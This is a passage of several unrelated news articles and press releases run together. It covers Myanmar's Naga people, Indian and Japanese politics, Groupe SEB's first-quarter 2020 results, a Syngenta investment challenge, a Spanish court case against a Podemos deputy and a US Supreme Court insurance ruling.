influence over its smaller neighbour. The allies recently held joint military exercises and Myanmars president in February signed numerous deals on his visit to the subcontinent also reaffirming a pact to prevent rebels mounting cross-border attacks. People at a Union Solidarity and Development Party house in Karmawlawyi village in Myanmars Sagaing region [Ye Aung Thu/AFP] Politics over force Other Naga unionists choose politics over force. The newly-formed Naga National Party aims to woo the Naga vote in Myanmars elections due later this year. Once they are in power, chairman Shu Maung says, they will work within the system to bring change. You cannot live in your uncles house forever. The battle for the ballot box has already started. Regional National League of Democracy MP Kail, who goes by one name, is Naga but says his immediate priorities are education, healthcare and food. Once we have those, then maybe the younger generations can take up the fight again for the dream. But analyst Bertil Lintner believes the best the Myanmar Naga can hope for is more autonomy within the country. A united Nagaland is never going to happen, he says, not least because the tribes are so divided among themselves. At a viewpoint overlooking Longwa village, smartly-dressed Rongsen Ao was one of the last tourists to make it to the border before it closed. Excitedly hopping from one side of a demarcation post to the other, the 65-year-old Indian Naga doctor said he had fulfilled a childhood dream by seeing the frontier in person. But his smile faded when asked about the Nagas quest for a homeland. Everyone feels bitter about being dividedbut this is beyond our control. New Delhi: The BJP has issued a show-cause notice to its UP MLA Suresh Tiwari for allegedly asking people not to buy vegetables from Muslim vendors, remarks that attracted the party a lot of flak. Official sources said the top party leadership has found his comments "highly irresponsible", and its national president J P Nadda "pulled up" the state brass for not taking quick action. They said Nadda admonished UP BJP chief Swatantra Dev Singh and asked him to take action against Tiwari. The MLA has been asked to send his reply within a week. Tiwari, who is from Deoria district, was caught on camera asking people not to buy vegetables from Muslim vendors. A section of Hindutva elements has targeted Muslims over the spread of the coronavirus, alleging that some members of the community have deliberately abetted the rise in infections. Prime Minister Narendra Modi has asked people to fight the pandemic unitedly, calling for brotherhood and harmony. By Trend The process of granting incentives to Azerbaijani farmers and entrepreneurs is underway, Head of the Public Relations Department of the Ministry of Agriculture Vugar Huseynov told Trend on April 28. According to him, for this aim the state issues subsidies to them, for acquiring agricultural machinery and cattle. "When giving the agricultural machinery for lease to a farmer, the state pays him a subsidy of 40 percent of the machinerys primary cost. In order to purchase it, the farmer makes an advance payment of 20 percent, and the remaining 40 percent is given to the farmer as a bank loan. The loan interest of up to 7 percent imposed by the bank is subsidized by the state," he said. The state subsidies for buying cattle were increased from 50 percent through 60 percent, Huseynov also noted. "The remaining 25 percent is paid by a citizen in advance, and 15 percent are issued by banks as a loan." He added that owing to the ongoing reforms, the base of agricultural machinery and cattle will grow and be constantly updated. -- Follow us on Twitter @AzerNewsAz The following editorial appeared in Tuesday's Japan News-Yomiuri: - - - It is hoped that the measures taken by local governments and candidates will serve as a reference for future elections. The by-election for the House of Representatives in Shizuoka Constituency No. 4 was the first national election held since the spread of the novel coronavirus. In the by-election following the death of a Liberal Democratic Party lawmaker, an LDP newcomer won the competition among four candidates. In addition to the fact that conservatives are strong in the area, it can be said that the call for a "mourning election" was successful. Four opposition parties, including the Constitutional Democratic Party of Japan, fielded a unified candidate and criticized the handling of the infections by the Cabinet of Prime Minister Shinzo Abe. But they lost to the LDP by a landslide. Challenges remain for them on the issue of how to form a united front toward the next general election. Voter turnout stood at 34.1%, down nearly 20 percentage points from the 2017 lower house election. Voter turnout in by-elections tends to be low, but the latest by-election apparently was also influenced by calls to refrain from going out following the declaration of a state of emergency. Due to the spread of infections, each camp refrained from holding speeches and rallies where many people might gather. Instead, they focused on the use of Twitter and video sites. In addition to their policies and assertions, they repeatedly uploaded content such as meetings with party leaders. For each party, this will be an effective technique in times of crisis in elections. Local governments' election administration commissions increased the number of polling stations to disperse voters. They also adopted other measures such as sterilizing pencils used to fill out ballot forms. Foundation of democracy Due to concerns that voter turnout may fall, municipal governments, including that of Fujinomiya, Shizuoka Prefecture, have increased the number of polling stations for early voting, and vehicles carrying mobile polling stations have moved around in the electoral districts. Each local government is encouraged to thoroughly implement measures to prevent the spread of infections in future elections and devise measures to increase voter turnout. There are calls for postponing local elections due to the spread of an infectious disease. However, elections are the foundation of democracy and must be held as scheduled in principle. Voters are urged to cast their precious votes by carefully assessing each party's policies. On the other hand, there may be a situation in which elections cannot be held over a wide area due to an outbreak of an infectious disease or a major disaster. The term of office of the current House of Representatives members will expire next autumn. Extending the term on the grounds of an emergency would require a constitutional amendment. Each party should deepen discussions on how to deal with disasters and other emergencies. NHK kara Kokumin o Mamoru To (Party to protect the people from NHK) fielded a candidate with the same first name and last name as the unified opposition candidate. They were apparently trying to collect indistinguishable votes that were to be split proportionately. In accordance with the Public Offices Election Law, the Shizuoka prefectural election commission distinguished the two candidates by asking voters to write down the age of the candidate on ballots. It is not rare for people with the same name to run in the same election, but it can be called an abuse of the system to intentionally field such candidates. Such irresponsible conduct needs to be corrected. Radicle Growth, an acceleration fund, and Syngenta, a leading agriculture company helping to improve global food security, today announced the launch of The Radicle Protein Challenge by Syngenta. Together, Radicle and Syngenta will identify two companies with novel solutions to support the future of protein (which could include new or experimental protein sources, or protein conversion technologies) that are solving challenges spanning from plant-based ag to the regenerative side of agriculture, to invest $1.25m in. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200428005037/en/ Radicle and Syngenta are seeking entrepreneurs representing companies of all stages from around the world to apply for the $1.25 million in investment$1 million for the Challenge winner and the $250k for the second-place winnerto accelerate the growth of their technologies. Applications are open through May 29, 2020. The winners will not only receive a significant investment and custom accelerator program from Radicle Growth but will have access to Radicle and Syngentas broad agriculture expertise and global agtech networks to advance and promote their technology. Innovative protein sources are increasingly important for a growing population. We are excited to be collaborating with Radicle and entrepreneurs from around the world to accelerate innovation and I am looking forward to seeing lots of creative ideas, said Erik Fyrwald, CEO, Syngenta. Our mission at Syngenta of helping farmers to make the best use of available resources and grow the crops we need in an environmentally friendly and healthy way, includes providing them with the best products, technologies and agronomic advice. After entries close, several months of due diligence work will begin and 4-6 finalists will be identified from the pool of applicants. The finalists will participate in a Pitch Day competition this Fall. Each company will have the opportunity to present in front of a leading panel of judges, including Erik Fyrwald, who will deliberate and select the two winners. Recent Gallup data confirms that nearly a quarter of Americans are eating less meat than ever before. This has increased the demand for plant-based and cellular agriculture alternatives to traditional protein sources, said Kirk Haney, Managing Partner of Radicle Growth.Many companies focused on this space have been hard at work with plans to launch in the near-term. Getting the product right to meet consumer demand is only half the battle, the pricing also needs to be right. We look forward to seeing the companies emerging in, and looking to grow, in this space and providing them the capital they need to overcome the challenges of growing this segment and staying ahead of consumer demands. For more information on The Radicle Protein Challenge by Syngenta, visit http://radicle.vc/the-radicle-challenge/. About Radicle Growth Radicle Growth is a San Diego-based acceleration fund that selects innovative agtech and food tech startups for investment, ensuring that powerful, disruptive technologies reach their full potential. In addition to providing seed-stage capital, they provide a fertile environment for visionaries in the ag space to flourish. Their proprietary platform is one of a kind in the agriculture industry, filling a huge void in the market by identifying the most innovative technologies and accelerating them with a range of value-creation initiatives. To connect and learn more about Radicle Growth follow us on LinkedIn, Instagram, Twitter. About Syngenta Syngenta is one of the worlds leading agriculture companies. Our ambition is to help safely feed the world while taking care of the planet. We aim to improve the sustainability, quality and safety of agriculture with world class science and innovative crop solutions. Our technologies enable millions of farmers around the world to make better use of limited agricultural resources. With 28,000 people in more than 90 countries we are working to transform how crops are grown. Through partnerships, collaboration and The Good Growth Plan we are committed to improving farm productivity, rescuing land from degradation, enhancing biodiversity and revitalizing rural communities. To learn more visit www.syngenta.com and www.goodgrowthplan.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005037/en/ A START TO THE YEAR MARKED BY THE IMPACTS OF COVID-19 Sales: 1,454m, -15.6% as reported and -16.5% LFL* Operating Result from Activity: 18m, vs. 138m in Q1 2019 Net financial debt: 1,840m, vs. 1,997m at 31/12/2019 Regulatory News: SEB SA (Paris:SK): GENERAL COMMENTS ON GROUP SALES Against a backdrop of an unprecedented global health and economic crisis, Groupe SEB sales in first-quarter 2020 came out at 1,454 million, down 15.6%, including a 16.5% like-for-like contraction (-284 million), a currency effect of +0.1% (+3 million) and a scope effect of +0.8% (+13 million; Wilbur Curtis for one month and Krampouz for three). This substantial and unseen decrease in turnover can be attributed to: the Consumer business, down 17.3% LFL, stemming mainly from China, impacted as of January by the effects of the COVID-19 epidemic; - the Professional business, down 9.7% LFL, against demanding 2019 comparatives. In both cases, the downturn in our sales is closely related to government confinement measures and the restricted movement of people, as well as the closure of non-food stores in most countries. While e-commerce helped softening somewhat the impact, it was however constrained by sanitary limitations, by priority given to essential products and logistical issues. Statement of Thierry de La Tour d'Artaise, Chairman and Chief Executive Officer of Groupe SEB: "The entire world is currently facing an economic and health crisis with unprecedented and large-scale consequences. Our number-one objective has been and remains to safeguard the health and safety of our teams. Our second priority has been to satisfy our customers and partners by ensuring service continuity. The commitment of our employees has been outstanding in this respect, and I would like to express to them my pride and gratitude. Our teams have also deployed their energy and expertise to contribute to the fight against the pandemic. They mobilized to study the design and manufacture of respirators, the distribution of masks to hospitals, and the production of hand sanitizer. We made a positive start to the first quarter around the world, apart from in China, already impacted by the crisis. At the end of the quarter, most countries introduced confinement measures, while China was on its way to a recovery. Today, we are preparing for recovery with the authorities of the countries in which we operate, the aim being for the Group to resume activity at its sites in the best possible conditions and as soon as possible. Given today's economic and health environment, the second quarter will also be considerably impacted by the crisis. We have protected the solidity of our cash situation and our balance sheet. We quickly took measures to adapt in order to limit as much as possible the impacts on our results without hampering the long term. As the situation evolves, we will be able to assess the full economic impact of the crisis, which will be substantial. Groupe SEB is grounded on a solid and well-balanced business model, one that enables it to look to the future serenely and prepare for the post-crisis period." DETAIL OF REVENUE BY REGION Revenue in M First-quarter 2019 First-quarter 2020 Change 2020/2019 Q1 2019 Like-for-like As reported Like-for-like* EMEA Western Europe Other countries 711 519 192 641 443 198 -9.9% -14.6% +2.6% -10.4% -14.7% +1.0% +4.1% +3.0% +6.9% AMERICAS North America South America 169 103 66 149 97 52 -11.7% 5.2% -21.9% -8.6% -7.2% -10.9% +4.2% +3.8% +4.8% ASIA China Other countries 659 541 118 482 365 117 -26.8% -32.6% -0.2% -26.9% -32.4% -1.5% +11.3% +13.4% +2.5% TOTAL Consumer 1,539 1,272 -17.4% -17.3% +7.0% Professional business 183 182 -0.7% -9.7% +24.4% GROUPE SEB 1,722 1,454 -15.6% -16.5% +8.5% * Like-for-like: at constant exchange rates and scope Rounded figures in m % calculated in non-rounded figures COMMENTS ON CONSUMER SALES BY REGION Revenue in M First-quarter 2019 First-quarter 2020 Change 2020/2019 Q1 2019 LFL As reported Like-for-like* EMEA Western Europe Other countries 711 519 192 641 443 198 -9.9% -14.6% +2.6% -10.4% -14.7% +1.0% +4.1% +3.0% +6.9% WESTERN EUROPE The rapid spread of the COVID-19 epidemic across Europe impacted business in all markets, the scale varying according to when confinement measures were introduced and stores were closed. Group turnover fell by nearly 15% like-for-like in the first quarter, owing primarily to the decline in physical distribution sales, with most stores having been closed since mid-March In France, after a positive start to the year, the small electrical appliance market dipped in March as a result of confinement measures and store closures (except food). Group sales decreased by nearly 8% in the first quarter, the downturn concerning almost all product categories, with the exception of automatic espresso machines and air purifiers. However, cookware sales saw sustained growth, driven notably by a loyalty program. In Germany, the decrease in sales in the first quarter was mainly the result of unfavorable comparatives (a major loyalty program and the impacts of bringing the sales practices of Groupe SEB Deutschland into compliance with the Group's principles). Ordinary activity continued to trend positively but was impacted in March by the closure of specialists' retailers and our WMF retail stores. In Italy, affected at an early stage by the epidemic, our sales contracted sharply, relative to a strong first-quarter in 2019 due to a loyalty program. The Netherlands were also affected by demanding comparatives. Elsewhere in Europe, Spain was one of the most heavily impacted countries. Sales were down across almost all product categories, but some appliances held up better than others, including breadmaking machines and garment steamers. OTHER EMEA COUNTRIES Sales increased slightly on an organic basis in first-quarter 2020. Excluding the effect of the non-repeat of 2019 loyalty programs, organic sales growth comes out at 7%. The extremely contrasted region was less impacted overall by the epidemic than Western Europe in the first quarter. After two months of robust growth fueled by our main growth drivers-product dynamic, partnerships with our key accounts, the continued ramp-up of e-commerce and the extension of Group Retail-business activity decreased in March as a result of the initial confinement measures and store closures. In this deteriorated economic environment, the good level of sales in the quarter is stemming from our flagship products (including Ingenio cookware and OptiGrill) and the development of new categories (versatile vacuum cleaners, garment steamers and the IXEO ironing system). In geographical terms, business trended positively in most of our major markets. In Russia, where confinement measures were not introduced before the end of the March, sales were brisk in cookware as well as in small electrical appliances, a segment in which the Group reinforced its leadership. In Central Europe, ordinary activity excluding loyalty programs increased. While momentum slowed considerably in Poland, it remained very solid in Central Asia (particularly in Kazakhstan). In Turkey, the health measures introduced to fight COVID-19 together with the further depreciation of the Turkish lira significantly disrupted the market, but our turnover increased considerably in the first quarter on a like-for-like basis. Lastly, in the Middle East and Egypt, sales at end-March were up strongly in organic terms. Revenue in M First-quarter 2019 First-quarter 2020 Change 2020/2019 Q1 2019 LFL As reported Like-for-like* AMERICAS North America South America 169 103 66 149 97 52 -11.7% 5.2% -21.9% -8.6% -7.2% -10.9% +4.2% +3.8% +4.8% NORTH AMERICA The decline of 5.2% in the reported turnover for the first quarter reflects a 7.2% drop in revenue on an organic basis and an overall positive currency effect in the region. Performances varied from one country to the other, the solid growth in Mexico failing to offset the negative trend in the United States and Canada. In the United States, the Group achieved firm performances in January-February, driven by listing gains with certain retailers and ongoing development in e-commerce sales. Starting in March, the effects of COVID-19, which came later than in other regions, were combined with unfavorable comparatives relating to a major sales and marketing operation with a customer in 2019. The biggest impact was on cookware, even though the premium All Clad brand outperformed the market over the period. Linen care also held up well, bolstered primarily by the expanded distribution of Rowenta irons and garment steamers initiated in summer 2019. In Canada, the less substantial presence of online players and the ongoing refocus of a major retailer customer continued to negatively impact our business activity in the first quarter. In Mexico, however, the Group ended the quarter on solid organic sales growth, in an environment that nevertheless remains fragile. The core business is contracting, notably in cookware, but this was offset by a major loyalty program with a key account, focused mainly on fans. SOUTH AMERICA The Group's quarterly sales in South America were once again marked by the rapid and major depreciations of the Brazilian real and Colombian peso since February, against a backdrop of global crisis and collapsing oil prices. Looking beyond currency aspects, business activity was impacted by the COVID-19 epidemic and the health measures implemented as of March. These weighed on consumption and retail in markets where the share of e-commerce remains limited. Brazil, the largest market in the region, was also the hardest hit in the first quarter. Business was contrasted in January-February: fan sales were affected by unfavorable summer season and penalized by demanding comparatives in 2019; Dolce Gusto coffee machines continued to enjoy strong momentum while kitchen machines and washing machines staged a recovery. From mid-March onwards, the confinement measures and physical retail closures in the various states aimed at limiting the spread of the virus had a considerable impact on consumption and our revenue, despite the shift to online sales. In Colombia, first quarter turnover was solidly up like-for-like, fueled in particular by fans, cookware and oil-less fryers. Demand has however been penalized by the combined negative effects of the health measures introduced to fight the epidemic and the depreciation of the Colombian peso in March. Revenue in M First-quarter 2019 First-quarter 2020 Change 2020/2019 Q1 2019 LFL As reported Like-for-like* ASIA China Other countries 659 541 118 482 365 117 -26.8% -32.6% -0.2% -26.9% -32.4% -1.5% +11.3% +13.4% +2.5% CHINA China was the first country to be seriously impacted by the COVID-19 epidemic, starting in mid-January in the midst of Chinese New Year celebrations. The country's drastic confinement measures, the industrial sites shutdown and the closing of stores in most provinces?-starting with Hubei?-were reflected in an unprecedented decrease in consumption. Against this backdrop, the Small domestic equipment market proved overall more resilient than other industries. Supor sales in its domestic market fell 32% LFL, featuring a sharp slump in offline sales and a more moderate drop in online sales. Moreover, activity was also considerably disrupted by logistics issues and out-of-stocks, particularly in the e-commerce. The substantial decline in revenue was primarily due to cookware while SDA business held up better. In the electrical cooking category, blenders posted an increase in revenue over the quarter. In the linen care and home cleaning segments, the downturn was slightly softer owing to demand for homecare appliances such as garment steamers or vacuum cleaners, as well as for air and water purifiers. This critical situation was compounded by the impact of anticipated sell-in in December 2019 for the Chinese New Year, which also penalized growth in the first quarter, as anticipated. As for manufacturing, all of our plants in China were shut down for an average of three weeks following the Chinese New Year vacation. Production resumed gradually starting on February 17 and our sites are now operating again at full capacity, including the one in Wuhan, at the epicenter of the epidemic, where production only resumed around March 20. OTHER ASIAN COUNTRIES In Asia excluding China, despite the early breakout of the epidemic, our first-quarter sales held up fairly firmly, but with contrasting performances from one country to the next, based on their response to the crisis. In Japan, our sales at end-March were stable on a like-for-like basis, boosted by solid momentum in certain products, including cookware, irons and garment steamers, as well as the Cook4me multicooker. Facing the COVID-19 crisis, the authorities have not implemented mandatory confinement, but instead recommended social distancing. Hence, most of retail stores remained open, yet with store traffic sharply down and consumption massively switching to e-commerce. In South Korea, affected at an early stage by COVID-19, the impacts on business activity became apparent as early as February. First-quarter sales fell sharply, both in cookware and small electrical appliances, despite a partial shift of consumption to e-commerce. But the management of the epidemic helped to curb its spread, with a potential gradual return to normal business activity in the second quarter. In the other countries, our quarterly performances were mixed. Sales were down slightly in Thailand and Malaysia but up in Australia, while momentum was solid in Hong Kong (owing to a loyalty program), Taiwan and Vietnam. COMMENTS ON PROFESSIONAL BUSINESS ACTIVITY Revenue in M First-quarter 2019 First-quarter 2020 Change 2020/2019 Q1 2019 LFL As reported Like-for-like* Professional business 183 182 -0.7% -9.7% +24.4% On a reported basis, sales were practically stable for the Group's Professional business in the first quarter. Adjusted for currency effects (mainly the US dollar) and the scope effect (Wilbur Curtis for one month and Krampouz for three), turnover was down 9.7% to 182 million in organic terms. The decline in sales LFL in the first three months of the year owed both to high comparatives in first-quarter 2019 in Professional Coffee-the result of major contracts delivered in the United States-and to the impact of COVID-19 on business activity. After a good start in January and February, the Professional Coffee business, as well as the Hotel equipment business, were negatively impacted in March by the quarantine measures introduced in numerous countries and by the closure of the majority of customer retailers, including hotels, cafes, coffee shops, restaurants, fast-food chains and convenience stores. Having now been introduced across the main markets of the Professional business, these measures are generating delivery delays, with no major order cancellations reported at this stage. OPERATING RESULT FROM ACTIVITY Operating Result from Activity (ORfA) totaled 18 million in the first quarter of 2020, significantly impacted by the effects of COVID-19 on business activity. As a reminder, the first quarter's ORfA, as well as the second quarter one, are not representative of the full year performance as our activity is stronger in the second half of the year, while operational costs are more evenly distributed over the year. In this context, the significant decrease in the Operating Result from Activity at March 31, 2020 is due: mainly to the sharp drop in sales during the first quarter; to extra costs linked to the production shutdown in most of our plants, first in China, then in our other geographies and in particular in Europe. DEBT AT MARCH 31, 2020 Net financial debt amounted to 1,840 million at March 31, 2020, compared with 1,997 million at end-December 2019. The total includes 389 million of IFRS 16 and other debt. The 157 million decrease versus December 31, 2019 is due to an improvement in the operating working capital requirement (WCR), a result primarily of customer receivables and inventories, directly related to the dip in activity in the first quarter. Groupe SEB highlights that it has a solid financial situation as it is based on a healthy financial structure that is well-balanced in terms of instruments and maturities and does not comprise financial covenants. It also has an undrawn syndicated credit line of 960 million, and at April 28, 2020 can rely on a total of 1 billion in cash and cash equivalents on its balance sheet. COVID-19 ACTION PLAN In today's particularly critical environment, the Group's number-one priority remains the health and safety of its employees around the world. Further priorities include maintaining service for our customers, implementing business continuity plans in the best possible safety conditions for our teams and all our partners, and preserving our liquidity. Impacted initially in China and then in the rest of the world starting in March, the Group has been led to temporarily close over half of its plants, a large part of its retail network and most of its market companies and offices. In response to the crisis, we quickly initiated an action plan and took numerous practical measures to contain our cost base: Flexibilization of payroll, in accordance with labor regulations, through the implementation of short-time working, mandatory paid-leaves, the suspension of contracts and the discontinuation of temporary contracts, as well as a recruitment freeze; Adaptation of growth drivers to market situations; - General reduction in non-essential expenses (travel, events, etc.); - Renegotiation of amounts and payment schedule for the rent of our stores; - Decrease in the compensation of senior executive officers and board members. However, this action plan will not offset the under-absorption of some fixed costs, and notably the under activity of our industrial sites stemming from the crisis. At the same time, the Group is conducting a rigorous policy to preserve its liquidity by adapting the management of its working capital requirement to the crisis situation. The policy is based both on special attention in maintaining the quality of relations with its suppliers and on the reinforced supervision of client receivables. Moreover, the decision taken by the Board of Directors to revise downwards by one-third the amount of dividends paid out in 2020 in respect of 2019 serves to improve cash flow situation by 43.5 million. The Group has not requested a delay in the payment of charges and taxes in France and has not taken out the state-guaranteed loan. OUTLOOK The situation in China is progressively improving, in an overall still highly cautious context in terms of sanitary measures. Consumption in the country is showing signs of a gradual resumption, driven primarily by e-commerce, with store footfall still contracting for now. Our seven Chinese plants have restarted activity and, following a ramp-up phase, have returned to normal production levels, including in Wuhan. In other Asian countries, the situation is generally in progress without being stabilized everywhere. In Europe, Eurasia and in the Americas, confinement measures remain widely in place in various forms, with a large part of physical distribution outlets closed and consumption having sharply shifted to e-commerce. Against this backdrop, 19 of our factories worldwide remain overall closed for the moment, while 23 are operating (out of which 9 at lower capacity). Despite the numerous uncertainties concerning crisis exit scenarios, we are already preparing for business resumption, both in terms of manufacturing and consumption. Given the impact of the crisis on performance in the first quarter, the scale of the epidemic, and the extension of the confinement period in numerous countries, the Group is expecting a deterioration in business activity in the second quarter. This will materialize through a drop in sales currently estimated at around 450 million to 500 million, which will most probably lead to negative ORfA for the period. The cost reduction plan combined with a gradual return to "normalized" business activity in the second semester, which generally accounts for approx. 55% of annual sales and over two-thirds of annual ORfA, should enable the Group to progressively get back to its profitable growth model. However, while it is impossible at this stage to precisely quantify the impacts of COVID-19 on the year as a whole, revenue and Operating Result from Activity will fall significantly in 2020. In this particularly complicated environment, the Group reaffirms its confidence in its solid and well-balanced strategic model. While adapting to the immediate imperatives, it stays focused on its long-term goals and intends to get through the present crisis in a resolute and responsible manner. Conference call with management on April 28 at 6:00 p.m. CET Numbers: From France: +33 (0) 1 72 72 74 03 PIN: 15412853# From other countries: +33 (0) 1 72 72 74 03 PIN: 15412853# Listen to the audiocast and the presentation on our website on April 28 from 9:00 p.m.: www.groupeseb.com or click here On a like-for-like basis (LFL) Organic The amounts and growth rates at constant exchange rates and consolidation scope in a given year compared with the previous year are calculated: using the average exchange rates of the previous year for the period in consideration (year, half-year, quarter), on the basis of the scope of consolidation of the previous year. This calculation is made primarily for sales and Operating Result from Activity. Adjusted EBITDA Adjusted EBITDA is equal to Operating Result from Activity minus discretionary and non-discretionary profit-sharing, to which are added operating depreciation and amortization. Operating Result from Activity (ORfA) Operating Result from Activity (ORfA) is Groupe SEB's main performance indicator. It corresponds to sales minus operating costs, i.e. the cost of sales, innovation expenditure (R&D, strategic marketing and design), advertising, operational marketing as well as commercial and administrative costs. ORfA does not include discretionary and non-discretionary profit-sharing or other non-recurring operating income and expense Net debt This term refers to all recurring and non-recurring financial debt minus cash and cash equivalents, as well as derivative instruments linked to Group financing. It also includes financial debt from application of the IFRS 16 standard "Leases" in addition to short-term investments with no risk of a substantial change in value but with maturities of over three months. Loyalty program (LP) These programs, led by distribution retailers, consist in offering promotional offers on a product category to loyal consumers who have made a series of purchases within a short period of time. These promotional programs allow distributors to boost footfall in their stores and our consumers to access our products at preferential prices. Free cash flow Free cash flow corresponds to the "net cash from operating activities" item in the consolidated cash flow statement, adjusted from non-recurring transactions with an impact on the Group's net debt (for example, cash outflows related to restructuring) and after taking account of recurring investments (CAPEX). SDA Small Domestic Appliances: Kitchen Electrics, Home and Personal care PCM Professional Coffee Machines This press release may contain certain forward-looking statements regarding Groupe SEB's activity, results and financial situation. These forecasts are based on assumptions which seem reasonable at this stage, but which depend on external factors including trends in commodity prices, exchange rates, the economic environment, demand in the Group's large markets and the impact of new product launches by competitors. As a result of these uncertainties, Groupe SEB cannot be held liable for potential variance on its current forecasts, which result from unexpected events or unforeseeable developments. The factors which could considerably influence Groupe SEB's economic and financial result are presented in the Annual Financial Report and Registration Document filed with the Autorite des Marches Financiers, the French financial markets authority. Next key dates 2020 May 19 3:00 p.m. Annual General Meeting Closed door July 23 before market opens H1 2020 sales and results October 26 after market closes 9-month 2020 sales and financial data Find us on www.groupeseb.com World reference in small domestic equipment, Groupe SEB operates with a unique portfolio of 30 top brands including Tefal, Seb, Rowenta, Moulinex, Krups, Lagostina, All-Clad, WMF, Emsa, Supor, marketed through multi-format retailing. Selling more than 350 million products a year, it deploys a long-term strategy focused on innovation, international development, competitiveness and client service. Present in over 150 countries, Groupe SEB generated sales of 7.3 billion in 2019 and has more than 34,000 employees worldwide. * Like-for-like: at constant exchange rates and scope of consolidation. SEB SA SEB SA N RCS 300 349 636 RCS LYON with a share capital of 50,307,064 Intracommunity VAT: FR 12300349636 View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005721/en/ Contacts: Investor/Analyst Relations Groupe SEB Financial Communication and IR Dept Isabelle Posth Raphael Hoffstetter comfin@groupeseb.com Tel: 33 (0) 4 72 18 16 04 Media Relations Groupe SEB Corporate Communication Dept Cathy Pianon Caroline Philips com@groupeseb.com Phone: 33 (0) 6 33 13 02 00 Phone: 33 (0) 6 49 82 28 45 Image Sept Caroline Simon Claire Doligez Isabelle Dunoyer de Segonzac caroline.simon@image7.fr cdoligez@image7.fr isegonzac@image7.fr Phone: 33 (0) 1 53 70 74 70 Isabel Serra Sanchez, a member of the Podemos Parliamentary Group in the Assembly of Madrid, has been sentenced to 18 months in prison, a fine of 2,000 and barred from public office. Her supposed crime was to have joined a group of 50 protesters opposed to the eviction in January 2014 of a person with a permanent disability from a home in the working-class neighbourhood of Lavapies in Madrid. Serras defence provided testimonies from several witnesses, hundreds of photographs and 115 videos proving that she came to the protest only briefly and was at some distance from the demonstration. The sentence, however, states that whether Serra played a significant role is not decisive. Instead, her participation in the group is enough to establish her responsibility for the criminal actions committed by those who made up the group of people who attacked and threw blunt and dangerous objects at the Municipal Police officers. The defence team announced that they will appeal the sentence. If the sentence is confirmed, Serra will be barred from presenting herself in elections. The International Committee of the Fourth International (ICFI) opposes the persecution of Serra. It has unbridgeable political differences with Podemos, which is sitting in government in Spain carrying out policies of austerity, imperialist war and police repression and now needlessly ordering millions of workers back to work, exposing them to death in the COVID-19 pandemic. However, the sentence against Serra, six years after the events took place, is an attempt by the Spanish bourgeoisie to intimidate social opposition and install a police-state climate. The sentence also exposes Podemos, moreover. The party leadership has acquiesced to the verdict and done everything it can to signal that it will organise no opposition to the emerging police state in Spainover which it rules, in fact, in coalition with the Spanish Socialist party (PSOE). Podemos leader and Deputy Prime Minister Pablo Iglesias said, Sentences must be accepted (and in this case appealed) but a huge sense of injustice invades me. In Spain, many people feel that very powerful corrupt go unpunished thanks to their privileges and contacts, while those who protested a shameful eviction are sentenced. Podemos Organisation Secretary Pablo Echenique said the courts have condemned @isaserra without evidence for protesting peacefully to try to stop an eviction of a person with a disability. Obviously, we will appeal, but I thought the judges were there to deliver justice. This is all mealy-mouthed claptrap to justify the alignment of Podemos on the police state. Firstly, no one is under any political obligation to accept a reactionary sentence. Secondly, if the powerful and corrupt go unpunished in Spain because of their privileges and contacts, this is an exposure of Podemos, which together with the PSOE rules Spain. Indeed, last July, Iglesias pledged full loyalty to the PSOE on all state questions, including foreign policy and state repression in Catalonia. Months later, when a dozen Catalan secessionist leaders were fraudulently found guilty of sedition, Iglesias said: Everyone must abide by the law and accept the verdict. This happened as the streets of major cities across Catalonia filled with tens of thousands of demonstrators, and clashes erupted between protesters and police in Barcelona. In November, Podemos decided not to oppose the caretaker PSOE governments Internet censorship law, the Digital Security Law known as the digital gag law, which allows the state to shut down digital communications, Internet infrastructure and apps at will, without a court order. The laws main purpose is to silence domestic political opposition and prevent mass demonstrations and strikes. Soon after Podemos entered into the PSOE government, it confronted a strike wave in the Basque country and the Basque-speaking region of Navarre, when tens of thousands joined a one-day general strike against austerity. Podemos issued thinly veiled criticisms of the strike for disrupting national unity, in words of one of its leaders in the region: The strike does not give confidence to a newly installed government. Later, mass protests erupted in rural areas of Spain against social and economic problems facing the agriculture sector. Since then, the close links between Podemos and the police state have come into the open. In late February, Iglesias joined the Intelligence Affairs Commission, the body that directs, supervises and controls the activities of the National Intelligence Centre (CNI). Iglesias was therefore joining the main body working to monitor and repress social opposition in the working class. The COVID-19 pandemic has vastly intensified class tensions worldwide. The misnamed progressive PSOE-Podemos government has been at the forefront of the unpopular back-to-work policy, enforced by the trade unions, of sending millions of workers back to work even as the virus keeps killing hundreds each day, and is nowhere near controlled. Their aim is to preserve and expand stock market values and the profit margins of major corporations at the expense of workers health and lives. This policy is widely opposed by the majority of the population. According to a poll by El Pais, 59 percent of the population support the view that Confinement must be kept to the maximum, even if this means greater economic deterioration and more unemployment. The back-to-work policy is now being enforced with gradual lifting of confinement measures, though the government is fully aware that such measures will lead to new outbreaks of the virus. On Sunday, the Health Ministry announced a new pandemic strategy to lower the number of cases to a level acceptable by the health system that avoids its collapse. For this, it ordered regional governments to be prepared to double ICU beds. The PSOE-Podemos government is already warning that it will meet any resistance to its policies with brutal force. In the Basque country, Spanish police assaulted steelworkers trying to protest their unsafe work environment, while last week the police dispersed a protest by Glovo riders in Madrid protesting low wages, precarious working conditions and the lack of protective equipment against the virus. The criminal policy is being implemented via continued police-state measures, including mass Internet surveillance. The chief of the General Staff of the Civil Guard, General Jose Manuel Santiago, admitted this in a slip-of-the-tongue comment that that police are a working actively to minimise this climate contrary to crisis management by the Government by monitoring social media. Soon after, the State Prosecutor Generals Office threatened those who spread hoaxes online with up to five years in prison. The Supreme Court has ruled that insurance companies can collect $12 billion from the federal government to cover their losses in the early years of the health care law championed by President Barack Obama. Read more WASHINGTON The Supreme Court ruled Monday that when Congress makes a promise to pay, the government must indeed pay up, even if a later Congress changes its mind. Thats the essence of what could be a $12 billion win for health insurers who joined the Obamacare program in its first years and lost money by doing so. When Congress passed the Affordable Care Act in 2010, it banned insurers from rejecting customers based on preexisting health conditions. The program was set up to partially reimburse the insurance companies that ended up with the sickest and most expensive patients. It said the federal government shall pay insurers for their losses if the costs of the expanded coverage outpaced the premiums. But after Republicans took control of Congress in 2014, lawmakers refused to appropriate the money to cover the losses suffered by insurers. Writing for an 8-1 majority, Justice Sonia Sotomayor said Congress was not free to renege on a past promise to pay. The 2010 law created a government obligation to pay insurers the full amount set out in a formula, she wrote in Maine Community Health vs. United States. An obligation is definite commitment that creates a legal liability on the part of the government, she said. She said Congress could have said the payments were contingent on future appropriations, but it had not done so. As a result, the 